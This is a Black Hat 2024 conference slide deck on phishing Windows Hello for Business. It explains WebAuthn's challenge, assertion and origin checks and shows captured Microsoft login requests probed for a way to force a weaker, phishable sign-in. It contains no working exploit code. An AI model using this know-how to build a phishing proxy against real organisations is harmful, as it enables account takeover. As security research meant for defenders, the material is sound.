



**black hat**<sup>®</sup>  
USA 2024

**AUGUST 7-8, 2024**  
BRIEFINGS

**HOOK, LINE AND SINKER:  
PHISHING WINDOWS HELLO FOR  
BUSINESS**

# ABOUT ME

RED TEAM & SECURITY RESEARCHER  
@ ACCENTURE SECURITY ISRAEL



Yehuda Smirnov

.....

@yudasm\_ on twitter

- Like learning & researching Windows, Active Directory, Azure and anything interesting
- Develop in C, C#, Python & Assembly
- Ex private investigator
- Like to surf & play tennis

  
**accenture**

# ABOUT ME



# AGENDA


- Intro to Windows Hello For Business (WHfB)
- Understanding WebAuthn API
- Investigation
- Proxy Phishing
- Mitigations

# INTRODUCTION

- Windows Hello for Business (WHfB from now on) is considered a **phishing resistant authentication method**.
- Discovered a method to phish Windows Hello for Business

**WINDOWS HELLO**

# WINDOWS HELLO




# WINDOWS HELLO

Windows Security

## Making sure it's you

1Password is trying to unlock.

 PIN

[I forgot my PIN](#)

**OK** Cancel

## Accounts > Sign-in options

### Ways to sign in



Facial recognition (Windows Hello)  
Sign in with your camera (Recommended)



Fingerprint recognition (Windows Hello)  
Sign in with your fingerprint scanner (Recommended)



PIN (Windows Hello)  
Sign in with a PIN (Recommended)



# WINDOWS HELLO - TPM

- The TPM - Trusted Platform Module is a chip located on the motherboard / CPU, which stores cryptographic keys directly in the hardware.




# WINDOWS HELLO - TPM



**1**

**Enrollment** - Windows Hello pin is hashed & stored in the TPM



# WINDOWS HELLO - TPM




**1**

**Enrollment** - Windows Hello pin is hashed & stored in the TPM

**2**

**Authentication** - provide Windows Hello Pin, which is sent to the TPM



# WINDOWS HELLO - TPM



1


**Enrollment** - Windows Hello pin is hashed & stored in the TPM

2

**Authentication** - provide Windows Hello Pin, which is sent to the TPM

**Verification** - TPM verifies the pin by comparing the input PIN to the hash stored

3



# WINDOWS HELLO FOR BUSINESS

# WINDOWS HELLO FOR BUSINESS

Microsoft


## Sign in

Email, phone, or Skype

No account? [Create one!](#)

[Can't access your account?](#)

Back Next

 [Sign-in options](#)

# WINDOWS HELLO FOR BUSINESS



## Sign-in options



Face, fingerprint, PIN or security key  
Use your device to sign in with a passkey.




Sign in with GitHub  
Personal accounts only



Sign in to an organization  
Search for a company or an organization you're working with.


Back

# WINDOWS HELLO FOR BUSINESS






# WINDOWS HELLO FOR BUSINESS



# WINDOWS HELLO FOR BUSINESS



# FIDO KEYS



- Fido Keys may act as a replacement for the TPM's role in the authentication
- Can store cryptographic keys on them
- Also called Yubi keys, **physical authenticators**, security keys, etc

# DEFAULT AUTHENTICATION

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
- After performing successful authentication via Azure, the default authentication method is set to that method
- **(Today it is no longer the case)**

# DEFAULT AUTHENTICATION

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- After performing successful authentication via Azure, the default authentication method is set to that method
- **(Today it is no longer the case)**
- **Today the default authentication is the strongest one available**

# DEFAULT AUTHENTICATION



The image shows a Microsoft sign-in page. At the top left is the Microsoft logo. Below it is the text "Sign in". A text input field contains the email address "yehuda.smirnov@company.com". Below the input field are two links: "No account? Create one!" and "Can't access your account?". At the bottom right are two buttons: "Back" (disabled) and "Next" (active, highlighted with a red border). At the bottom left is a link for "Sign-in options" with a key icon.

Microsoft


## Sign in

yehuda.smirnov@company.com


No account? [Create one!](#)

[Can't access your account?](#)

[Back](#) [Next](#)

 [Sign-in options](#)

# DEFAULT AUTHENTICATION



# WINDOWS HELLO FOR BUSINESS

Windows Hello for Business

Administrator

Traditional Passwords





# WINDOWS HELLO FOR BUSINESS

Windows Hello for Business

Administrator

Traditional Passwords

Can't you just phish that password too?




# WINDOWS HELLO FOR BUSINESS

Windows Hello for Business Administrator


Webauthn API

Phisher



# DEMONSTRATION

# DEMONSTRATION - ATTACKER'S SITE



The image shows a screenshot of a Microsoft sign-in page. At the top left is the Microsoft logo. Below it, the text "Sign in" is displayed. A text input field contains the email address "yehuda.smirnov@company.com". Below the input field, there are two links: "No account? Create one!" and "Can't access your account?". At the bottom of the sign-in area, there are two buttons: "Back" (disabled) and "Next" (active). Below the sign-in area, there is a section titled "Sign-in options" with a key icon.

Microsoft


## Sign in

yehuda.smirnov@company.com


No account? [Create one!](#)

[Can't access your account?](#)


Back Next

 Sign-in options


# DEMONSTRATION - FAILED PHISH



# DEMONSTRATION - FAILED PHISH



To sign in to "attacker.com", choose a device with a saved passkey.



# WEBAUTHN

## API

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# WEBAUTHN API

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Protects against  
phishing

\* [https://developer.mozilla.org/en-US/docs/Web/API/Web\\_Authentication\\_API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API)



# WEBAUTHN API

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Protects against  
phishing



Reduces impact  
in case of breach

# WEBAUTHN API



Protects against  
phishing



Reduces impact  
in case of breach

PASSW \* \* \*

Protects against  
password attacks

\* [https://developer.mozilla.org/en-US/docs/Web/API/Web\\_Authentication\\_API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API)

# WEBAUTHN API

- Enables creation and use of secure, scoped and verified public key based credentials.



Protects against phishing



Reduces impact in case of breach

PASSW \* \* \*

Protects against password attacks

\* [https://developer.mozilla.org/en-US/docs/Web/API/Web\\_Authentication\\_API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API)

# MECHANISMS



Challenge



Signature



Origin Check



Assertion

# MECHANISMS - CHALLENGE



Challenge



# MECHANISMS - CHALLENGE



Challenge

```
"challenge":  
"Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSXNjbmcxZENJNklrMUhUSEZxT1RoV1R  
reHZXR0ZHwM5CS1EwSndaMEkwU21GTGN5SjkuZXlKaGRXUWlPaUoxY200NmJXbGpjbTl6YjJaME9tWnB  
aRzg2WTJoaGJHeGxibWRsSWl3aWFYTnpJam9pYUhsMGNIITZMeTlzYjJkcGJpNXRhV055YjN0dlpuUXV  
ZMjl0SWl3aWFXRjBJam94TnpFNU5UY3lNamN4TENKdVltWwlpakUzTVRrMU56SXl0ekVzSW1WNGNDSTZ  
NVGN4T1RVM01qVTNNWDAuRDhuTEJnVWtnTVNUamxJV0JjdVZKTGplX21PeWo3Z2x0TzUxN0FMTEFEUUG  
2MTJiczVMTHY5dkVJTUtLR2RwMEFUM3BjWU1wVFVWTjAwRlVPQjNyU29icTNTtWS14S1QyNmJxN3dWOFd  
pVzLXYnVNVWh6RlFzQWpfQlRNN3dJbkdfV2hhdjBnNHhBdWZfNUc1VnFrM3VFZVpXeFh5R1g5U3NxcVh  
vRDZUVU5HT2RrUHBGQ05sOFZxR0JUzk1rVl92dTbraFFn0ThYU05KeUNIUGVZcHZ4Ml9LdEJSZ2pYY3N  
sR0RXSmFLTHE2bkF60HR0SzZYUUFrSVN6VTBlS1VocnQ4dHdQbm5penVTQWM3TGVrR2ZXZFBDYlUzZE  
VYUMwcUxFUzVmSDBTSlRpdERlcHdPRnhtZkx6S0plU19TZ1J1ZHBfYk1majJxRFBPbkoyRExFWVnN",
```

- Unique challenge (nonce) issued by the server
- Must be signed using the appropriate private key
- Private key is stored in the TPM / Fido key

# MECHANISMS - SIGNATURE

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Signature

# MECHANISMS - SIGNATURE



Signature

```
{
  "id": "LAV0nVkySV1234dizHid632FEzb7Gi_NrGnHkr6paZE",
  "clientDataJSON": "eyJ0eXB...snip...vLmdsL3lhYlBleCJ9",
  "authenticatorData": "NWye1KCTIblpXx6vkYID8bVf1234mH7yWGEwVfdpoDIEFAAAAAA",
  "signature":
    "bg6usSvVuUFFJZyM56z3EfvK0MyANpvsSuYnTHLD5d9m609V1Yhr-kc20zW0GF0cIzb8KjKIXMt1BWK
    eUL74_QEp0a61hTJ04X9PkXxd-NPuUICLcB4xq4ldV77SG4x8q8ne3Hrbmb_PLFVK42uTvflfxJqBgmK
    Ch5HPHH5XfJ0v3YZVpG22i5MaqcM4Vea12Fxb65hMvoBemwa95VlKayBSSKyA3MbhpqaSrTgb5ogwePh
    w0tLEU41EvKthInptHvRDq4J4b0cI3nt0Ykp1vx4Z_3wjnc8VlzfpD2S4L0VX3daEpI8nDNrp_SKx5gA
    OfnD6IB4acS973XDvXtWrcQ",
  "userHandle":
    "T0460T154DkJbUmXKRm03ZasjcOUtUjew3xhW78NWIE2_GoM7JpaLF8WPJCKble7Nna5"
}
```

- Client browser interacts with the operating system
- Signs the challenge using the user's private key (commonly in TPM / Fido)



# MECHANISMS - ORIGIN CHECK



Origin Check

# MECHANISMS - ORIGIN CHECK



## Origin Check

```
{
  "type": "webauthn.get",
  "challenge":
  "Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSXNJbmcmxZENJNklrMUhUSEZxT1RoV1R
  ...snip...tZkx6S0plU19TZ1J1ZHBfYk1majJxRFBPbkoyRExFWVNn",
  "origin": "https://login.microsoft.com",
  "crossOrigin": false,
  "other_keys_can_be_added_here":
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"
}
```

- Origin defined by protocol (http / https), hostname (domain), and port - **https://example.com:443**
- Origin field is a header, automatically set by the browser, likely to prevent domain spoofing
- Checked by both client browser and server

# MECHANISMS - ASSERTION

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Assertion

# MECHANISMS - ASSERTION



Assertion

```
type=23&ps=23&assertion=%7B%22id%22%3A%22LAV0nVkySV1UNPdizHid632FEzb7Gi_NrGnHkr6paZE%22%2C%22clientDataJSON%22%3A%22eyJ0eXBlIjoia2ViYXV0aG4uZ2V0Iiwia2hhbGxlbmdlIjoiaVhk1bGVVb3daVmhcYVU5cFNrdFdNVkZwVEVOS2FHskhZMmxQYVwVFZyEpNVTWU1hOSmJtY3haRU5KTmtsck1VaFVTRVp4VDFsb1YxUnJlSFpYUjBaSFdtNUNTUV3U25kYU1Fa3dVmjFHVEdONVNqa3VaWGxLYUdSWFVXbFBhVW94WTIwME5tSlhiR3BqYlR5NllqSmFNRTl0V25CYVJ6ZzJXVEpvYUdKSGVHeGllV1JzU1dsM2FXRllUbNkYw05cFlVaFNRR05JVFRaTWVUaHpZakprY0dKcE5YUmhWMDU1WWpOT2RschVWFZaTWpsMFNXbDNhV0ZYUmpCSmFtOTRUBnBGTU1VVKzbE5hbU40VEVOS2RwbHRXV2xQYWtVe1RWUnJNVTU2U1hsT2VrVnpTVzFXTkdORFNUWk5WR040VDFSVk0wMXFWVE50V0RBdVJEaHVURUpuVld0blRWTlVhbXhKVjBKamRWWktUR3BswDIxUGVXbzNaMnhPVHpVeE4wRk1URUZfVvVnMk1USmljeLZnVEhZNRrVkpUVXRmUjJSd01FRlVNM0JqV1Uxd1ZGVldUakF3UmxWUFFqTnlVMjlpY1R0dFdTMTRTMVF5Tm1KeE4zZFdPRmRwVnpsWFluVk5WV2g2UmxGe1FXcGZRbFJOTjNkSmJrZGZWMmhoZGpCbK5IaEJKV1pmTLVjMVZuRnJNM1ZGWLZwWGVGaDVSMWc1VTN0eGNWaHZSRFpVVLU1SFQyUnJVSEJHUTA1c09GwnhSMEpVWmsxcLZsOTJkVEJyYUZGbK9UaFlVMDVLZVV0SVVHVLpjSFo0Tww5TGRFSlnaMnBZWTNoc1IwUlhtBUZMVEhFMmJrRjZPSFIwU3paWVVRnJTVk42VlRCbFMxVm9jblE0ZEhkUWJtNXBlblZUUVdNM1RHVnJSMlpYwKZCRFlsVXpaRwXWVNd2NveEZVlZtU0RCVFNsUnBkRVJsY0hkUFJuaHRaa3g2UzBwbFUxOVRaMUoxWkhCZllrMW1hakp4UkZCUGJrb3lSRXhGV1Z0biIsIm9yaWdpbiI6Imh0dHBzOi8vbG9naW4ubWljcm9zb2Z0LmNvbSI6ImNyY3NzT3JpZ2luIjpmYWxzZSwib3RoZXJfa2V5c19jYW5fYmVfYWRkZWRfaGVyZSI6ImRvIG5vdCBjb21wYXJlIGNsaWVudERhdGFKU090IGFnYWluc3QgYSB0ZW1wbGF0ZS4gU2VlIGh0dHBzOi8vZ29vLmdsL3lhYlBlleCj9%22%2C%22authenticatorData%22%3A%22NWye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAAA%22%2C%22signature%22%3A%22bg6usSvVuUFFJZyM56z3EfvK0MyANpvsSuYnTHLD5d9m609V1Yhr-kc20zWOGFOcIzb8KjKIXMt1BWKeUL74_QEp0a61hTJ04X9PkXxd-NPuUICLcB4xq4ldV77SG4x8q8ne3Hrbmb_PlFVK42uTvflfxJqBgmKCh5HPHH5XfJ0v3YZVpG22i5MxqcM4VqRyVFxb65hMvoBemwa95VlKayBSSKyA3MbhPqaSrTgb5ogwePhw0tLEU41EvKthInptHvRDq4J4b0cI3nt0Ykp1vx4Z_3wjnc8VlzfpD2S4L0VX3daEpI8nDNrp_SKx5gA0fnD6IB4acS973XDvXtWrcQ%22%2C%22userHandle%22%3A%22T0460T154DkJbUmXKRm03ZFv6yOUtUjew3xhW78NWIE2_GoM7JpaLF8WPJCKBlE7Nna5%22%7D&lmcCanary=
```

- Client returns the encrypted challenge, along with the origin field
- Both are signed with the private key
- This entire package is termed - assertion

# MECHANISMS - ASSERTION



Assertion

```
{
  "id": "LAVOnVkYSV1UNPdizHid632FEzb7Gi_NrGnHkr6paZE",
  "clientDataJSON": "eyJ0eXBleCIjoid2V...snip...YlBleCJ9",
  "authenticatorData": "NWye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAAA",
  "signature": "bg6usSvVuU...snip...973XDvXtWrcQ",
  "userHandle":
  "T0460T154DkJbUmXKRm03ZFv6y0UtUjew3xhW78NWIE2_GoM7JpaLF8WPJckBle7Nna5"
}
```

- Client returns the encrypted challenge, along with the origin field
- Both are signed with the private key
- This entire package is termed - assertion

# MECHANISMS - ASSERTION



Assertion

```
{
  "type": "webauthn.get",
  "challenge": "Ty5leUowZ...snip...jJxRFBPbkoyRExFWVNn",
  "origin": "https://login.microsoft.com",
  "crossOrigin": false,
  "other_keys_can_be_added_here":
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"
}
```

- Client returns the encrypted challenge, along with the origin field
- Both are signed with the private key
- This entire package is termed - assertion

# MECHANISMS



Challenge



Signature



Origin Check



Assertion

# MECHANISMS



Challenge



Assertion




# ARCHITECTURE



# ARCHITECTURE - REGISTRATION




# ARCHITECTURE - REGISTRATION



## Step 1

- User logs in with username & password/MFA
- Chooses to create a new credential (e.g. Fido / WHfB)


# ARCHITECTURE - REGISTRATION



## Step 2

- Server ("Relying-party") script runs in the client browser


# ARCHITECTURE - REGISTRATION



## Step 2

- Server ("Relying-party") script runs in the client browser
- Utilizes the Client Platform (user-agent header and device - laptop, mobile)


# ARCHITECTURE - REGISTRATION



## Step 3

- Client platform connects to the authenticator (e.g., Fido / TPM)
- Requests an authorization gesture from the user (e.g., fingerprint, Windows Hello)


# ARCHITECTURE - REGISTRATION



## Step 3

- Client platform connects to the authenticator (e.g., Fido / TPM)
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
# ARCHITECTURE - REGISTRATION





- If authorized, a new credential (private key) is created



# SECURITY - CREDENTIAL





# SECURITY - CREDENTIAL



Public Key

# SECURITY - CREDENTIAL




Public Key



Private Key


# ARCHITECTURE - REGISTRATION



## Step 4

- Stored within the authenticator (TPM / Fido)

# ARCHITECTURE - REGISTRATION




- Credential's public key is sent to the server
- Attestation containing additional information is also sent

# **ARCHITECTURE - AUTHENTICATION**

---




# ARCHITECTURE - AUTHENTICATION



## Step 1

- Server ("Relying-Party") serves a script to users

# ARCHITECTURE - AUTHENTICATION




## Step 1

- Script requests an challenge (nonce) from the server




# ARCHITECTURE - AUTHENTICATION



## Step 1


- Script requests an challenge (nonce) from the server
- Server returns the challenge to the client

# ARCHITECTURE - AUTHENTICATION




- Interacts with the WebAuthn API

# ARCHITECTURE - AUTHENTICATION



- Browser utilizes the client platform to request hardware authorization


# ARCHITECTURE - AUTHENTICATION



## Step 2

- Following user authorization, client platform searches for potential credentials (relevant private key)

# SECURITY - ORIGIN



WebAuthn API

Microsoft.com



user1



user2

Github.com




user3



user4

# SECURITY - ORIGIN

What credentials  
are available for  
Microsoft.com?



WebAuthn API

Microsoft.com



user1



user2

Github.com




user3



user4

# SECURITY - ORIGIN



WebAuthn API

Microsoft.com



user1



user2

Github.com



user3



user4

# SECURITY - ORIGIN



**No access to another domain's  
(origin) credentials**

**WebAuthn API**

**Microsoft.com**



**user1**



**user2**

**Github.com**




**user3**




**user4**



# ARCHITECTURE - AUTHENTICATION




# ARCHITECTURE - AUTHENTICATION



## Step 4

- Client platform signs the challenge using stored private key (Fido key / TPM / software)


# ARCHITECTURE - AUTHENTICATION



## Step 4

- Client platform signs the challenge using stored private key (Fido key / TPM / software)

# ARCHITECTURE - AUTHENTICATION



## Step 4

- Client returns the signed assertion (includes challenge) to server.

# ARCHITECTURE - AUTHENTICATION

Assertion

```
{  
  "type": "webauthn.get",  
  "challenge": "Ty5leUowZ...snip...jJxRFBPbkoyRExFWVNn",  
  "origin": "https://login.microsoft.com",  
  "crossOrigin": false,  
  "other_keys_can_be_added_here":  
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"  
}
```

Server



# ARCHITECTURE - AUTHENTICATION

Assertion

```
{  
  "type": "webauthn.get",  
  "challenge": "Ty5leUowZ...snip...jJxRFBPb...XFWVNn",  
  "origin": "https://login.microsoft.com",  
  "crossOrigin": false,  
  "other_keys_can_be_added_here":  
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"  
}
```

Is this  
me?

Server




# ARCHITECTURE - AUTHENTICATION



# ARCHITECTURE

---





# INVESTIGATION

---



# INVESTIGATION

```
1 POST /common/login HTTP/2
2 Host: login.microsoftonline.com
3 Cookie: ...snip...
4 Origin: https://login.microsoft.com
5 Content-Type: application/x-www-form-urlencoded
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/125.0.6422.112 Safari/537.36
7
8
9 type=23&ps=23&assertion=
%7B%22id%22%3A%22LAV0nVkySV1UNPdizHid632FEzb7Gi_NrGnHkr6paZE%22%2C%22clientDataJSON%22%3A%22eyJ0eXBliJoid
2ViYXV0aG4uZ2V0Iiwia2hhbGxlbmdlIjoivHk1bGVVb3daVmhcYVU5cFNrdFdnVkJwVEVOS2FHSkhZMmxQYVWwVFZYcEpNVTVwU1hOSm
JtY3haRU5KTmtsc1VaFVTRVp4VDFsb1YxUnJlSFpYUjBaSFdtNUNTUUV3U25kYU1Fa3dVMjFHVEd0NVNqa3VaWGxLYUdSWFVXbFBhVW9
4WTIwME5tSlhir3BqYlR3NllqSmFNRTl0V25CYVJ6ZzJXVEpvYUdKSGVHeGlvV1JzU1dsM2FXRllUbncBKYW05cFlVaFNRR05JVFRaTWVU
bHpZakprY0dKcE5YUmhWMDU1WWpOT2RschVWFZaTWpsMFNXbDNhV0ZYUmpCSmFtOTRUBnBGTlU1VVKzbE5hbU40VEVOS2RwbHRXV2xQY
WtVeLRWUnJNVTVU2U1hsT2VrVnpTVzFXTkdORFNuWk5WR040VDFSVk0wMXFWVE50V0RBdVJEaHVURUpuVld0bLRWTLVhbXhKVjBKamRWWk
tUR3BsWDIxUGVXbzNaMnhPVHhpVeE4wRk1URUZVVFVnMk1USmIjeIzNVEhZNRrVkpUVXRmUjJSd01FRlVNM0JqV1Uxd1ZGVldUakF3Umx
WUFFqTnlVMjlpY1R0dFdtMTRTMVF5Tm1KeE4zZFdPRmRwVnpsWFluVW5WV2g2UmxGeIFXcGZRbFJOTjNkSmJrZGZWMmhoZGpCbK5IaEJk
V1pmTlVjMVZuRnJNM1ZGWLZwWGVGaDVSMWc1VTNOeGNWaHZSRFpVVLU1SFQyUnJVSEJHUTA1c09GWnhSMepVWmsxcLZsOTJkVEJyYUZGb
k9UaFlVMDVLZVVOSVVHVlpjSFo0TWw5TGRFSlnAMnBZWTNOc1IwUlhtbUZMVEhFMmJrRjZPSFIwU3paWVVVRnJTVk42VlRCbFMxVm9jbL
E0ZEhkUWJtNXBlblZUUVdNM1RHVnJSMlpYWkZCRFlsVXpaRwXWVNd2NVeEZVeLZtU0RCVFNsUnBkrVJsY0hkUFJuaHRaa3g2UzBwbFU
xOVRaMUoxWkhCZllrMW1hakp4UkZCUGJrb3lSRXhGV1Z0biIsIm9yaWdpbiI6Imh0dHBzOi8vbG9naW4ubWljcm9zb2Z0LmNvbSIsImNy
b3NzT3JpZ2luIjpmYWxzZSwib3RoZXJfa2V5c19jYW5fYmVfYWRkZWRfaGVyZSI6ImRvIG5vdCBjb21wYXJlIGNsaWVudERhdGFKU090I
```

# INVESTIGATION

```
{
  "id": "LAV0nVkYSV1UNPdizHid632FEzb7Gi_NrGnHkr6paZE",
  "clientDataJSON": "eyJ0eXB1Ijoid2ViYXV0aG4uZ2V0IiwiaWwi...snip...mdsL3lhYlBlleCJ9",
  "authenticatorData": "NWye1KCTIb1pXx6vkYID8bVfaJ2mH7vWGEwVfdpoDIEFAAAAAA",
  "signature":
  "bg6usSvVuUFFJZyM56z3EfvK0MyANpvsSuYnTHLD5d9m609V1Yhr-kc20zW0GF0cIzb8KjKIXMt1BWK
  eUL74_QEp0a61hTJ04X9PkXxd-NPuUICLcB4xq4ldV77SG4x8q8ne3Hrbmb_P1FVK42uTvflfxJqBgmK
  Ch5HPHH5XfJ0v3YZVpG22i5MxqcM4VqRyVFxb65hMvoBemwa95VlKayBSSKyA3MbhPqaSrTgb5ogwePh
  w0tLEU41EvKthInptHvRDq4J4b0cI3nt0Ykp1vx4Z_3wjnc8VlzfpD2S4L0VX3daEpI8nDNrp_SKx5gA
  0fnD6IB4acS973XDvXtWrcQ",
  "userHandle":
  "T0460T154DkJbUmxKRm03ZFv6y0UtUjew3xhW78NWIE2_GoM7JpaLF8WPJCKble7Nna5"
}
```

# INVESTIGATION

```
{
  "id": "l4V0nVkySV1UUNPdizHid632FEzh7Gi_NrGnHkr6pa7F",
  "clientDataJSON": "eyJ0eXB1Ijoid2ViYXV0aG4uZ2V0Iiwu...snip...mdeL3lhYlBleCJ9",
  "authenticatorData": "NWye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAAA",
  "signature":
  "bg6usSvVuUFFJZyM56z3EfvK0MyANpvsSuYnTHLD5d9m609V1Yhr-kc20zW0GF0cIzb8KjKIXMt1BWK
  eUL74_QEp0a61hTJ04X9PkXxd-NPuUICLCB4xq4ldV77SG4x8q8ne3Hrbmb_PlFVK42uTvflfxJqBgmK
  Ch5HPHH5XfJ0v3YZVpG22i5MxqcM4VqRyVFxb65hMvoBemwa95VlKayBSSKyA3MbhPqaSrTgb5ogwePh
  w0tLEU41EvKthInptHvRDq4J4b0cI3nt0Ykp1vx4Z_3wjnc8VlzfpD2S4L0VX3daEpI8nDNrp_SKx5gA
  OfnD6IB4acS973XDvXtWrcQ",
  "userHandle":
  "T0460T154DkjbUmxKRm03ZFv6y0UtUjew3xhW78NWIE2_GoM7JpaLF8WPJCKble7Nna5"
}
```

# INVESTIGATION

```
{
  "type": "webauthn.get",
  "challenge":
  "Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSXNjbmcxZENJNklrMUhUSEZxT1RoV1R
  reHZXR0ZHWm5CS1EwSndaMEkwU21GTGN5SjkuZXlKaGRXUWlPaUoxY200NmJXbGpjbTl6YjJaME9tWnB
  aRzg2WTJoaGJHeGxibWRsSWl3aWFYTnpJam9pYUhsMGNIITZMeTlzYjJkcGJpNXRhV055YjNOdlpuUXV
  ZMjl0SWl3aWFXRjBJam94TnpFNU5UY3lNamN4TENKdVltWWlPaKuzTVRrMU56SXl0ekVzSW1WNGNDSTZ
  NVGN4T1RVM01qVTNNWDAuRDhuTEJnVWtnTVNUamxJV0JjdVZKTGplX21PeWo3Z2x0TzUxN0FMTEFEUUG
  2MTJiczVMTHY5dkVJTUtLR2RwMEFUM3BjWU1wVFVWTjAwRlVPQjNyU29icTNTWS14S1QyNmJxN3dWOFd
  pVzlxYnVNVWh6RlFzQWpFQlRNN3dJbkdfV2hhdjBnNHhBdWZfNUc1VnFrM3VFZVpXeFh5R1g5U3NxcVh
  vRDZUVU5HT2RrUHBGQ05sOFZxR0JUZk1rVl92dTBraFFn0ThYU05KeUNIUGVZcHZ4Ml9LdEJSZ2pYY3N
  sR0RXSmFLTHE2bkF60HR0SzZYUUFrSVN6VTBlS1VocnQ4dHdQbm5penVTQWM3TGVrR2ZXZFBDYlUzZEl
  VYUMwcUxFUzVmSDBTSlRpdERlcHdPRnhtZkx6S0plU19TZ1J1ZHBfYk1majJxRFBPbkoyRExFWVnN",
  "origin": "https://login.microsoft.com",
  "crossOrigin": false,
  "other_keys_can_be_added_here":
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"
}
```

# INVESTIGATION


```
{
  "type": "webauthn.get",
  "challenge":
  "Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpTVXpJMU5pSXNJbmcmxZENJNklrMUhUSEZxT1RoV1R
  reHZXR0ZHWM5CS1EwSndaMEkwU21GTGN5SjkuZXlKaGRXUWlPaUoxY200NmJXbGpjbTl6YjJaME9tWnB
  aRzg2WTJoaGJHeGxibWRsSWl3aWFYTnpJam9pYUhSMGNITTZMeTlzYjJkcGJpNXRhV055YjNOdlpuUXV
  ZMjl0SWl3aWFXRjBJam94TnpFNU5UY3lNamN4TENKdVltWWlPakuZTVRrMU56SXl0ekVzSW1WNGNDSTZ
  NVGN4T1RVM01qVTNNWDAuRDhuTEJnVWtnTVNUamxJV0JjdVZKTGplX21PeWo3Z2x0TzUxN0FMTEFEUUG
  2MTJiczVMTHY5dkVJTUtLR2RwMEFUM3BjWU1wVFVWTjAwRlVPQjNyU29icTntWS14S1QyNmJxN3dWOFd
  pVzlxYnVNVWh6RlFzQWpfQlRNN3dJbkdfV2hhdjBnNHhBdWZfNUc1VnFrM3VFZVpXeFh5R1g5U3NxcVh
  vRDZUVU5HT2RrUHBGQ05sOFZxR0JUzk1rVl92dTbraFFn0ThYU05KeUNIUGVZcHZ4Ml9LdEJSZ2pYY3N
  sR0RXSmFLTHE2bkF60HR0SzZYUUFrSVN6VTBlS1VocnQ4dHdQbm5penVTQWM3TGVrR2ZXZFBDYlUzZE
  VYUMwcUxFUzVmSDBTSlRpdERlcHdPRnhtZkx6S0plU19TZ1J1ZHBfYk1majJxRFBPbkoyRExFWVnN",
  "origin": "https://login.microsoft.com",
  "crossOrigin": false,
  "other_keys_can_be_added_here":
  "do not compare clientDataJSON against a template. See https://goo.gl/yabPex"
}
```

# INVESTIGATION

---



# INVESTIGATION





# INVESTIGATION

```
1 POST /common/GetCredentialType?mkt=en-US HTTP/1.1
2 Host: login.microsoftonline.com
3 Cookie: ..snip...
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
  Safari/537.36
5 Content-Length: 1938
6 Content-Type: application/json; charset=UTF-8
7 Accept-Encoding: gzip, deflate, br
8 Priority: u=1, i
9 Connection: keep-alive
10
11 {
  "username": "user@company.com",
  "isOtherIdpSupported": true,
  "checkPhones": false,
  "isRemoteNGCSupported": true,
  "isCookieBannerShown": false,
  "isFidoSupported": true,
  "originalRequest": "rQQIARAAhZK_j9t0AMXj5C...snip...SydXuf1cv_Qc1",
  "country": "IL",
  "forceotclogin": false,
  "isExternalFederationDisallowed": false,
  "isRemoteConnectSupported": false,
  "federationFlags": 0,
  "isSignup": false,
  "flowToken": "AQABIQEAAAAPt...snip...E4gigE4wgAA",
  "isAccessPassSupported": true
}
```

# INVESTIGATION

```
1 POST /common/GetCredentialType?mkt=en-US HTTP/1.1
2 Host: login.microsoftonline.com
3 Cookie: ..snip...
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
  Safari/537.36
5 Content-Length: 1938
6 Content-Type: application/json; charset=UTF-8
7 Accept-Encoding: gzip, deflate, br
8 Priority: u=1, i
9 Connection: keep-alive
10
11 {
  "username": "user@company.com",
  "isOtherIdpSupported": true,
  "checkPhones": false,
  "isRemoteNGCSupported": true,
  "isCookieBannerShown": false,
  "isFidoSupported": true,
  "originalRequest": "rQQIARAAhZK_j9t0AMXj5C...snip...SydXuf1cv_Qc1",
  "country": "IL",
  "forceotclogin": false,
  "isExternalFederationDisallowed": false,
  "isRemoteConnectSupported": false,
  "federationFlags": 0,
  "isSignup": false,
  "flowToken": "AQABIQEAAAAPt...snip...E4gigE4wgAA",
  "isAccessPassSupported": true
}
```


# INVESTIGATION

- **Modifying IsFidoSupported does not work as of today**


```
1 POST /common/GetCredentialType?mkt=en-US HTTP/1.1
2 Host: login.microsoftonline.com
3 Cookie: ..snip...
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57
5 Safari/537.36
6 Content-Length: 1938
7 Content-Type: application/json; charset=UTF-8
8 Accept-Encoding: gzip, deflate, br
9 Priority: u=1, i
10 Connection: keep-alive
11 {
  "username": "user@company.com",
  "isOtherIdpSupported": true,
  "checkPhones": false,
  "isRemoteNGCSupported": true,
  "isCookieBannerShown": false,
  "isFidoSupported": true,
  "originalRequest": "rQQIARAAhZK_j9t0AMXj5C...snip...SydXuf1cv_Qc1",
  "country": "IL",
  "forceotclogin": false,
  "isExternalFederationDisallowed": false,
  "isRemoteConnectSupported": false,
  "federationFlags": 0,
  "isSignup": false,
  "flowToken": "AQABIQEAAAAPt...snip...E4gigE4wgAA",
  "isAccessPassSupported": true
}
```

# DEMONSTRATION

---



# DEMONSTRATION - SIGN IN



